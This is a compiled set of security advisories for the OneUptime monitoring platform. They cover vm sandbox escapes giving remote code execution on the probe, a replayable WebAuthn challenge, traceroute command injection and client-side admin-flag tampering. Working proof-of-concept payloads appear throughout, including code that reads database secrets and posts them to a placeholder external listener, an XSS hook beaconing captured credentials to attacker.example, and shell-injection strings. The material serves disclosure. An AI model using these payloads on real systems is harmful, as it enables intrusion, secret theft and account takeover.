- Unauthorized modification of Project.gitHubAppInstallationId - Temporary GitHub integration breakage if a bogus installation ID is set - Cross-project binding of attacker-controlled GitHub App installations - Repository metadata disclosure for a supplied valid installation ID - Unauthorized creation of CodeRepository records in arbitrary projects
OneUptime is a solution for monitoring and managing online services. Prior to 10.0.20, OneUptime Synthetic Monitors allow low-privileged project users to submit custom Playwright code that is executed on the oneuptime-probe service. In the current implementation, this untrusted code is run inside Node's vm and is given live host Playwright objects such as browser and page. This creates a distinct server-side RCE primitive: the attacker does not need the classic this.constructor.constructor(...) sandbox escape. Instead, the attacker can directly use the injected Playwright browser object to reach browser.browserType().launch(...) and spawn an arbitrary executable on the probe host/container. This vulnerability is fixed in 10.0.20.
Summary OneUptime allows project members to run custom Playwright/JavaScript code via Synthetic Monitors to test websites. However, the system executes this untrusted user code inside the insecure Node.js vm module. By leveraging a standard prototype-chain escape (this.constructor.constructor), an attacker can bypass the sandbox, gain access to the underlying Node.js process object, and execute arbitrary system commands (RCE) on the oneuptime-probe container. Furthermore, because the probe holds database/cluster credentials in its environment variables, this directly leads to a complete cluster compromise.
Details The root cause of the vulnerability exists in Common/Server/Utils/VM/VMRunner.ts where user-supplied JavaScript is executed using vm.runInContext():
typescript const vmPromise = vm.runInContext(script, sandbox, { ... });
The Node.js documentation explicitly warns that the vm module is not a security boundary and should never be used to run untrusted code.
When a user creates a Synthetic Monitor, the code inputted into the Playwright script editor is passed directly to this backend function without any AST filtering or secure isolation (e.g., isolated-vm or a dedicated restricted container).
An attacker can use the payload const proc = this.constructor.constructor('return process')(); to step out of the sandbox context and grab the host's native process object. From there, they can require childprocess to execute arbitrary shell commands.
Since the oneuptime-probe service runs with access to sensitive environment variables (such as ONEUPTIMESECRET, DATABASEPASSWORD, etc.), an attacker can trivially exfiltrate these secrets to an external server.
PoC This exploit can be triggered entirely through the OneUptime web dashboard GUI by any user with at least "Project Member" permissions.
1. Log In: Authenticate to the OneUptime Dashboard. (Open registration is enabled by default). 2. Navigate: Go to Monitors > Create New Monitor. 3. Monitor Type: Select Synthetic Monitor. 4. Browser/Screen Settings: Ensure Chromium is selected for "Browser Types" and Desktop is selected for "Screen Size Types". 5. Payload Injection: Scroll down to the "Playwright Code" editor. Delete the default template and paste the following malicious JavaScript payload:
javascript return new Promise((resolve) => { try { // 1. Traverse the prototype chain to grab the host's process object const proc = this.constructor.constructor('return process')(); // 2. Load the host's childprocess module & run a system command const cp = proc.mainModule.require('childprocess'); const output = cp.execSync('ls -la /usr/src/app').toString(); // 3. (Optional) Read sensitive environment secrets const secret = proc.env.ONEUPTIMESECRET; const dbpass = proc.env.DATABASEPASSWORD; // 4. Exfiltrate the data via the native http module const httpreal = proc.mainModule.require('http'); const req = httpreal.request({ hostname: 'YOUROASTORBURPCOLLABORATORURLHERE', port: 80, path: '/', method: 'POST' }, (res) => { resolve("EXFILTRATIONSTATUS: " + res.statusCode); }); req.on('error', (e) => resolve("EXFILTRATIONERROR: " + e.message)); const payloadData = JSON.stringify({ rceoutput: output, secret: secret, db: dbpass }); req.write(payloadData); req.end(); } catch(e) { resolve("CRITICALERROR: " + e.message); } });
6. Save & Execute: Click Save. Within 60 seconds, the probe worker will pick up the monitor, execute the code, and send the RCE output to your external listener URL.
OUTPUT: {"rceoutput":"total 296\ndrwxr-xr-x 1 root root 4096 Mar 3 18:27 .\ndrwxr-xr-x 1 root root 4096 Mar 3 18:26 ..\n-rw-r--r-- 1 root root 16 Mar 3 18:24 .gitattributes\n-rwxr-xr-x 1 root root 403 Mar 3 18:24 .gitignore\ndrwxr-xr-x 2 root root 4096 Mar 3 18:24 API\n-rw-r--r-- 1 root root 4103 Mar 3 18:24 Config.ts\n-rw-r--r-- 1 root root 2602 Mar 3 18:24 Dockerfile\n-rw-r--r-- 1 root root 2705 Mar 3 18:24 Dockerfile.tpl\n-rw-r--r-- 1 root root 2935 Mar 3 18:24 Index.ts\ndrwxr-xr-x 3 root root 4096 Mar 3 18:24 Jobs\ndrwxr-xr-x 2 root root 4096 Mar 3 18:24 Services\ndrwxr-xr-x 4 root root 4096 Mar 3 18:24 Tests\ndrwxr-xr-x 3 root root 4096 Mar 3 18:24 Utils\ndrwxr-xr-x 3 root root 4096 Mar 3 18:27 build\n-rw-r--r-- 1 root root 889 Mar 3 18:24 jest.config.json\ndrwxr-xr-x 297 root root 12288 Mar 3 18:26 nodemodules\n-rw-r--r-- 1 root root 353 Mar 3 18:24 nodemon.json\n-rw-r--r-- 1 root root 203119 Mar 3 18:24 package-lock.json\n-rw-r--r-- 1 root root 1481 Mar 3 18:24 package.json\n-rw-r--r-- 1 root root 11514 Mar 3 18:24 tsconfig.json\n"}
<img width="1364" height="470" alt="image" src="https://github.com/user-attachments/assets/9e0d3013-bba5-4188-8777-6903c8f55dba" />
Impact What kind of vulnerability is it? Remote Code Execution (RCE) / Code Injection / Sandbox Escape.
Who is impacted? Any OneUptime deployment running version <= 10.0.0. Since open registration is enabled by default, an external, unauthenticated attacker can create an account, create a project, and instantly compromise the entire cluster.
---
Summary
The WebAuthn authentication implementation does not store the challenge on the server side. Instead, the challenge is returned to the client and accepted back from the client request body during verification. This violates the WebAuthn specification (W3C Web Authentication Level 2, §13.4.3) and allows an attacker who has obtained a valid WebAuthn assertion (e.g., via XSS, MitM, or log exposure) to replay it indefinitely, completely bypassing the second-factor authentication.
Details
During WebAuthn authentication, the server generates a random challenge via generateAuthenticationOptions() in Common/Server/Services/UserWebAuthnService.ts (line 164-221). However, the challenge is only returned to the client and never stored in a session or database on the server side.
When the client submits the authentication response, the server reads the expectedChallenge directly from the untrusted request body (Authentication.ts:1042):
typescript // App/FeatureSet/Identity/API/Authentication.ts:1041-1049 } else if (verifyWebAuthn) { const expectedChallenge: string = data["challenge"] as string; // ← client-controlled const credential: any = data["credential"];
await UserWebAuthnService.verifyAuthentication({ userId: alreadySavedUser.id!.toString(), challenge: expectedChallenge, // ← NOT a server-stored value credential: credential, }); }
The verifyAuthentication() method then passes this client-provided challenge to @simplewebauthn/server's verifyAuthenticationResponse() as expectedChallenge (UserWebAuthnService.ts:268-270):
typescript const verification: any = await verifyAuthenticationResponse({ response: data.credential, expectedChallenge: data.challenge, // ← client-controlled value used as "expected" expectedOrigin: expectedOrigin, expectedRPID: Host.toString(), credential: { / public key from DB / }, });
Since both the expectedChallenge (from request body) and the challenge embedded in the credential's clientDataJSON originate from the same captured assertion, they will always match. The cryptographic signature also remains valid because it was signed by the legitimate user's authenticator.
Correct flow vs. OneUptime's flow:
| Step | Correct WebAuthn | OneUptime | |------|-----------------|-----------| | 1. Generate challenge | Server generates random challenge | Same | | 2. Store challenge | Saved in session/DB | Not saved anywhere | | 3. Send to client | Sent to client | Same | | 4. Authenticator signs | Authenticator signs challenge | Same | | 5. Client returns | Returns signed credential | Returns credential + challenge | | 6. Verify | Compares against server-stored value | Compares against client-provided value | | Result | Replay-proof | Replayable |
PoC
Prerequisites: - An attacker has obtained the victim's password (e.g., credential stuffing, phishing) - An attacker has captured a valid WebAuthn assertion from the victim (e.g., via XSS on a OneUptime page, network interception, or log leakage)
Steps to reproduce:
1. Capture a valid WebAuthn assertion. Intercept or extract a legitimate authentication request containing challenge and credential fields. For example, by injecting JavaScript via stored XSS in a Mermaid diagram on a status page (related vulnerability):
javascript // XSS payload to intercept WebAuthn authentication const origFetch = window.fetch; window.fetch = async function(url, opts) { if (url.includes('/verify') && opts?.body) { const body = JSON.parse(opts.body); if (body.data?.credential) { // Exfiltrate the assertion navigator.sendBeacon('https://attacker.example/collect', JSON.stringify({ challenge: body.data.challenge, credential: body.data.credential })); } } return origFetch.apply(this, arguments); };
2. Replay the captured assertion at any later time. Send the following request with the victim's email, password, and the captured challenge + credential:
http POST /api/identity/authentication/login HTTP/1.1 Content-Type: application/json
{ "data": { "email": "victim@example.com", "password": "<victim's password>", "challenge": "<captured challenge value>", "credential": { "id": "<captured credential id>", "rawId": "<captured rawId>", "response": { "authenticatorData": "<captured authenticatorData>", "clientDataJSON": "<captured clientDataJSON>", "signature": "<captured signature>" }, "type": "public-key", "clientExtensionResults": {}, "authenticatorAttachment": "platform" } } }
3. Result: The server accepts the authentication. The expectedChallenge (from the request body) matches the challenge in clientDataJSON (from the same captured assertion), and the signature is valid (signed by the real user's key). A session token is returned, granting full access to the victim's account.
The attacker bypasses WebAuthn 2FA without possessing the victim's authenticator device.
Impact
WebAuthn 2FA is rendered ineffective. The entire purpose of WebAuthn as a second factor is to protect accounts when passwords are compromised. This vulnerability means that once an attacker has both the password and a single captured assertion, they can authenticate as the victim indefinitely — the assertion never expires because there is no server-side challenge state to invalidate.
Who is impacted: Any OneUptime user who has enrolled WebAuthn/Passkey as their second factor. The 2FA protection they rely on provides no meaningful security against an attacker who has obtained their password and intercepted one authentication exchange.
Attack chain potential: This vulnerability can be chained with: - Stored XSS (e.g., via Mermaid rendering in status pages) to capture assertions - Absence of rate limiting on authentication endpoints to obtain passwords via credential stuffing - User enumeration via differential error messages to identify valid targets
Summary
An OS command injection vulnerability in NetworkPathMonitor.performTraceroute() allows any authenticated project user to execute arbitrary operating system commands on the Probe server by injecting shell metacharacters into a monitor's destination field.
Details
The vulnerability exists in Probe/Utils/Monitors/MonitorTypes/NetworkPathMonitor.ts, lines 149–191.
The performTraceroute() method constructs a shell command by directly interpolating the user-controlled destination parameter into a string template, then executes it via childprocess.exec() (wrapped through promisify):
typescript // Line 13 — exec imported from childprocess import { exec } from "childprocess";
// Line 15-17 — promisified into execAsync const execAsync = promisify(exec);
// Lines 149-191 — destination is never sanitized private static async performTraceroute( destination: string, // ← attacker-controlled maxHops: number, timeout: number, ): Promise<TraceRoute> { // ... let command: string; if (isWindows) { command = tracert -h ${maxHops} -w ${...} ${destination}; } else if (isMac) { command = traceroute -m ${maxHops} -w 3 ${destination}; } else { command = traceroute -m ${maxHops} -w 3 ${destination}; }
const tracePromise = execAsync(command); // ← shell execution
The destination value originates from the public trace() method (line 31), which accepts URL | Hostname | IPv4 | IPv6 | string types. When a raw string is passed (line 47: hostAddress = destination), no validation or sanitization is performed before it reaches performTraceroute().
childprocess.exec() spawns a shell (/bin/sh), so any shell metacharacters (;, |, $(), , &&, ||, \n) in destination will be interpreted, allowing full command injection.
PoC
1. poc.cjs javascript / PoC: OS Command Injection in OneUptime NetworkPathMonitor Replicates the exact vulnerable code path from Probe/Utils/Monitors/MonitorTypes/NetworkPathMonitor.ts:149-191 /
const { exec } = require("childprocess"); const { promisify } = require("util"); const execAsync = promisify(exec);
async function performTracerouteVULNERABLE(destination, maxHops, timeout) { const isMac = process.platform === "darwin"; const isWindows = process.platform === "win32";
let command; if (isWindows) { command = tracert -h ${maxHops} -w ${Math.ceil(timeout / 1000) 1000} ${destination}; } else if (isMac) { command = traceroute -m ${maxHops} -w 3 ${destination}; } else { command = traceroute -m ${maxHops} -w 3 ${destination}; }
console.log([VULN] Constructed command: ${command});
try { const { stdout, stderr } = await execAsync(command); return { stdout, stderr }; } catch (err) { return { stdout: err.stdout || "", stderr: err.stderr || err.message }; } }
async function runPoC() { console.log("=== Payload 1: Semicolon chaining (;) ==="); console.log(" destination = '127.0.0.1; id'\n"); const r1 = await performTracerouteVULNERABLE("127.0.0.1; id", 1, 5000); console.log("[stdout]:", r1.stdout);
console.log("\n=== Payload 2: Pipe injection (|) ==="); console.log(" destination = '127.0.0.1 | whoami'\n"); const r2 = await performTracerouteVULNERABLE("127.0.0.1 | whoami", 1, 5000); console.log("[stdout]:", r2.stdout);
console.log("\n=== Payload 3: Subshell execution $() ==="); console.log(" destination = '127.0.0.1$(echo INJECTED)'\n"); const r3 = await performTracerouteVULNERABLE("127.0.0.1$(echo INJECTED)", 1, 5000); console.log("[stderr]:", r3.stderr); }
runPoC().catch(console.error);
2. Run the PoC:
bash node poc.cjs
3. Expected output (confirmed on macOS with Node.js v25.2.1):
=== Payload 1: Semicolon chaining (;) === destination = '127.0.0.1; id'
[VULN] Constructed command: traceroute -m 1 -w 3 127.0.0.1; id [stdout]: 1 localhost (127.0.0.1) 0.215 ms 0.076 ms 0.055 ms uid=501(dxleryt) gid=20(staff) groups=20(staff),12(everyone)...
=== Payload 2: Pipe injection (|) === destination = '127.0.0.1 | whoami'
[VULN] Constructed command: traceroute -m 1 -w 3 127.0.0.1 | whoami [stdout]: dxleryt
=== Payload 3: Subshell execution $() === destination = '127.0.0.1$(echo INJECTED)'
[VULN] Constructed command: traceroute -m 1 -w 3 127.0.0.1$(echo INJECTED) [stderr]: traceroute: unknown host 127.0.0.1INJECTED
The id and whoami commands execute successfully, proving arbitrary command execution. The subshell payload proves inline shell evaluation — $(echo INJECTED) is evaluated and appended to the hostname.
Impact
Vulnerability type: OS Command Injection (CWE-78)
Who is impacted: Any authenticated user with the ability to create or edit a network path monitor in a OneUptime project can execute arbitrary operating system commands on the Probe server(s). In a multi-tenant SaaS deployment, this allows a malicious tenant to:
- Execute arbitrary commands as the Probe service user (Remote Code Execution) - Read sensitive files from the Probe server (e.g., environment variables, credentials, service account tokens) - Pivot to internal services accessible from the Probe's network position - Compromise other tenants' monitoring data if Probes are shared across tenants - Establish persistent backdoors (reverse shells, cron jobs, SSH keys)
Note: The NetworkPathMonitor class is fully implemented and exported but not yet wired into the monitor execution pipeline (no callers import it). The vulnerability will become exploitable once this monitor type is integrated. The code is present in the current codebase and ready to be activated.
Summary
OneUptime lets project members write custom JavaScript that runs inside monitors. The problem is it executes that code using Node.js's built-in vm module, which Node.js itself documents as "not a security mechanism — do not use it to run untrusted code." The classic one-liner escape gives full access to the underlying process, and since the probe runs with host networking and holds all cluster credentials in its environment, this turns into a full cluster compromise for anyone who can register an account.
Details
The vulnerable code is in Common/Server/Utils/VM/VMRunner.ts at line 55:
typescript vm.runInContext(script, sandbox, { timeout })
The JavaScript that reaches this call comes straight from the monitor's customCode field, which is only validated as Zod.string().optional() in Common/Types/Monitor/MonitorStep.ts:531. No AST analysis, no keyword filtering, nothing — just a string that goes directly into vm.runInContext().
Both CustomCodeMonitor.ts and SyntheticMonitor.ts import VMRunner directly inside the probe process. So when the probe picks up a monitor and runs it, the escape executes in the probe's own process — not a child process, not a container.
Two things make this especially bad:
First, the probe runs with networkmode: host (see docker-compose.base.yml:397) and carries ONEUPTIMESECRET, DATABASEPASSWORD, REDISPASSWORD, and CLICKHOUSEPASSWORD as environment variables. Once you escape the sandbox you have all of those.
Second, the permission to create monitors is granted to Permission.ProjectMember — the lowest role — in Common/Models/DatabaseModels/Monitor.ts:46-51. There is no check that restricts Custom JavaScript Code monitors to admins only. And since open registration is on by default (disableSignup: false), any random person on the internet can reach this in about 30 seconds.
One more thing worth flagging: the IsolatedVM microservice is also affected despite its name. IsolatedVM/API/VM.ts:41 calls the exact same VMRunner.runCodeInSandbox() — it does NOT use the isolated-vm npm package. Workflow components and monitor criteria expressions both route through it and are equally exploitable.
PoC
1. Register at /accounts/register — signup is open by default, no invite needed 2. Create a project — you get ProjectMember automatically 3. Go to Monitors → Add Monitor → pick Custom JavaScript Code 4. Paste this into the code field:
javascript const proc = this.constructor.constructor('return process')(); const run = proc.mainModule.require('childprocess').execSync; return { data: { secret: proc.env.ONEUPTIMESECRET, dbpass: proc.env.DATABASEPASSWORD, redispass: proc.env.REDISPASSWORD, id: run('id').toString().trim(), hostname: run('hostname').toString().trim() } };
5. Save the monitor and wait about 60 seconds for the probe to poll 6. Open Monitor Logs — the result contains the cluster secret, database password, and the output of id running on the probe host
That's it. No admin account, no special config, no extra steps.
Impact
This is a code injection vulnerability affecting any OneUptime deployment with open registration or any trusted user with ProjectMember access. The attacker gets arbitrary command execution on the probe host, all cluster credentials from the environment, and with host networking can directly connect to PostgreSQL, Redis, and ClickHouse using those credentials. One monitor creation → full cluster compromise.
The straightforward fix is to replace node:vm with the isolated-vm npm package, which provides real V8 isolate sandboxing and is the standard solution for this exact problem in the Node.js ecosystem.
Summary A low-permission user can create new accounts through a direct API request instead of being restricted to the intended interface.
PoC A low-permission user sends a crafted API request to the user-creation endpoint and the system creates the account successfully. !WhatsApp Image 2025-11-23 at 14 27 320e0f5889
Impact This allows attackers to create unauthorized accounts.
Summary
During the login process, the server response included a parameter called isMasterAdmin. By intercepting and modifying this parameter value from false to true, a user is able to gain access to the admin dashboard interface. However, despite accessing the admin panel, the user does not have sufficient permissions to view or interact with actual data.
PoC Intercept the login response and change "isMasterAdmin": false → "isMasterAdmin": true <img width="1405" height="567" alt="image" src="https://github.com/user-attachments/assets/7036398b-bb41-46c1-b66a-e49ec2bc3abb" /> <img width="1533" height="476" alt="2" src="https://github.com/user-attachments/assets/4efcaef5-a939-4729-be43-3af62a7d02f8" />
Impact The admin dashboard is viewable.
Summary A security vulnerability exists in oneuptime's local storage handling, where a regular user can escalate privileges by modifying the ismasteradmin key to true. This allows unauthorized access to administrative functionalities.
Details The vulnerability lies in the improper validation of client-side stored data within the web application. Specifically, the ismasteradmin key, stored in the local storage of the browser, can be manipulated by an attacker. By changing this key from false to true, the application grants administrative privileges to the user, without proper server-side validation.
POC (I am using Firefox Developer to demonstrate this vulnerability) Log in as a normal user. Open developer tools (hit F12), click Storage, then Local Storage. Modify the ismasteradmin key from false to true.
Impact This vulnerability represents a high security risk as it allows any authenticated user to gain administrative privileges through client-side manipulation. Most of the admin previlages were disabled except the user list. Where an attacker could see all the list of users who signed up to OneUptome.
Patch This has been patched in 7.0.1815